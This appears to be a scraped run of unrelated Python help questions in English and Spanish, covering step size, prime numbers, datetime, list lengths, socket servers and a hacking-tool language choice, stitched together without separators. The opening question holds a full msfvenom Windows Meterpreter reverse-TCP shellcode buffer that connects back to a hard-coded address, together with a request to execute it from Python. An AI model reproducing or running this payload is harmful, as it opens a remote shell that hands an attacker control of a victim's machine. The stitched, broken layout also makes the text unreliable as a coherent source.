Executing shellcode in python format

So after running the command:

msfvenom -p windows/meterpreter/reverse_tcp lhost= lport=8080 -f py

I receive the output:

buf =  b"" buf += b"\xfc\xe8\x82\x00\x00\x00\x60\x89\xe5\x31\xc0\x64\x8b" buf += b"\x50\x30\x8b\x52\x0c\x8b\x52\x14\x8b\x72\x28\x0f\xb7" buf += b"\x4a\x26\x31\xff\xac\x3c\x61\x7c\x02\x2c\x20\xc1\xcf" buf += b"\x0d\x01\xc7\xe2\xf2\x52\x57\x8b\x52\x10\x8b\x4a\x3c" buf += b"\x8b\x4c\x11\x78\xe3\x48\x01\xd1\x51\x8b\x59\x20\x01" buf += b"\xd3\x8b\x49\x18\xe3\x3a\x49\x8b\x34\x8b\x01\xd6\x31" buf += b"\xff\xac\xc1\xcf\x0d\x01\xc7\x38\xe0\x75\xf6\x03\x7d" buf += b"\xf8\x3b\x7d\x24\x75\xe4\x58\x8b\x58\x24\x01\xd3\x66" buf += b"\x8b\x0c\x4b\x8b\x58\x1c\x01\xd3\x8b\x04\x8b\x01\xd0" buf += b"\x89\x44\x24\x24\x5b\x5b\x61\x59\x5a\x51\xff\xe0\x5f" buf += b"\x5f\x5a\x8b\x12\xeb\x8d\x5d\x68\x33\x32\x00\x00\x68" buf += b"\x77\x73\x32\x5f\x54\x68\x4c\x77\x26\x07\x89\xe8\xff" buf += b"\xd0\xb8\x90\x01\x00\x00\x29\xc4\x54\x50\x68\x29\x80" buf += b"\x6b\x00\xff\xd5\x6a\x0a\x68\x0a\x00\x00\x1f\x68\x02" buf += b"\x00\x1f\x90\x89\xe6\x50\x50\x50\x50\x40\x50\x40\x50" buf += b"\x68\xea\x0f\xdf\xe0\xff\xd5\x97\x6a\x10\x56\x57\x68" buf += b"\x99\xa5\x74\x61\xff\xd5\x85\xc0\x74\x0a\xff\x4e\x08" buf += b"\x75\xec\xe8\x67\x00\x00\x00\x6a\x00\x6a\x04\x56\x57" buf += b"\x68\x02\xd9\xc8\x5f\xff\xd5\x83\xf8\x00\x7e\x36\x8b" buf += b"\x36\x6a\x40\x68\x00\x10\x00\x00\x56\x6a\x00\x68\x58" buf += b"\xa4\x53\xe5\xff\xd5\x93\x53\x6a\x00\x56\x53\x57\x68" buf += b"\x02\xd9\xc8\x5f\xff\xd5\x83\xf8\x00\x7d\x28\x58\x68" buf += b"\x00\x40\x00\x00\x6a\x00\x50\x68\x0b\x2f\x0f\x30\xff" buf += b"\xd5\x57\x68\x75\x6e\x4d\x61\xff\xd5\x5e\x5e\xff\x0c" buf += b"\x24\x0f\x85\x70\xff\xff\xff\xe9\x9b\xff\xff\xff\x01" buf += b"\xc3\x29\xc6\x75\xc1\xc3\xbb\xf0\xb5\xa2\x56\x6a\x00" buf += b"\x53\xff\xd5" 

How could I execute this code inside of a python script?

Stepsize in Python

enter image description here

(the first picture)This is the graph obtained when i use 0.0001 as a stepsize. (the second picture) The graph obtained when i use 1 as a stepsize.

My question, how do we know what stepsize should we use to obtain the graph like the 1st pic. In my case, i just try and error any values until i get the answer. Why does the shape of the graph change when i change the stepsize? How to know what value we should use as a stepsize without using the try-and-error techniqueenter image description here

Finding N prime numbers using python (unsolved) [on hold]

num = int(input(“Enter the number of Prime number to be displayed: “)) primeno = [2] flag = True i=3 while num-1 >0: for j in range(2,i): if i%j==0: flag = False break if flag == True: primeno.append(i) num-=1 i+=1

This is the program i typed in IDLE python but i did not get any output display ,please help me to correct my code!!

For creating tools, Bash, Perl or Python? Which should I invest my time in to?

Having trouble choosing between the three, I would of course love to learn all three in the future, but right now I’m curious as to which language would be the most beneficial to me.

Also, I’m aware that different tools might be more useful in certain scenarios, in this case, I just want to learn the language that suits best for creating Ethical hacking tools, and which language would be the easiest to master?


Tengo el siguiente código que toma como parámetro una lista como la descrita y devuelva la longitud del nombre más largo y quería saber porque en ciertas pruebas que realizo se me cumple y en otras no. El programa solo me fallaen estas dos pruebas de 8 que realicé

Prueas en las que falla: input: [‘John’,’Paul’,’Christopher’,’Peter’] output: 11 Me devuelve:5

input: [‘Max’,’Kate’,’Fred’] output: 4 Me devuelve: 3

import functions  names = ['Max','Kate','Fred'] length = functions.longest(names) print("El nombre más largo tiene longitud", length)   def longest(names):     longitud = len(max(names))       return longitud 

¿Como restar 1 día al valor que retorna datetime.today() en python?

Estoy usando la funcion today() del objeto datetime para obtener la fecha actual, si quiero restarle un dia para tener la fecha del dia anterior no me deja:}

today=datetime.today()-1 TypeError: unsupported operand type(s) for -: 'datetime.datetime' and 'int' 

Existe otra función para restar o añadir días?

comunicar dos servidores de sockets en python (pasar mensajes uno al otro) con colas y threads

We need to show an example of servers socket comunication in python, we have two very simple server python sockets, S1 and S2, and two clients C1 connect to S1 and C2 to S2, what we want is when C1 connect to S1 and send a message, S2 display that message. and when C2 connect to S2 and send a message, S1 display that message, is it possible to do with queue.Queue and threads ?

Es necesario mostrar un ejemplo de comunicacion entre dos servidores de sockets en python. tenemps dos servidores muy simples que atienden a sus clientes a traves de threads, S1 y S2 independientes pero identicos y dos clientes muy simples tambien, C1 y C2, lo que se quiere es que cuando C1 se conecte a S1 y le envie un mensaje sea S2 quien lo imprima por pantalla y cuando C2 se conecte a S2 y le envie un mensaje sea S1 quien lo imprima por pantalla, es posible hacer eso con queue.Queue y threads ?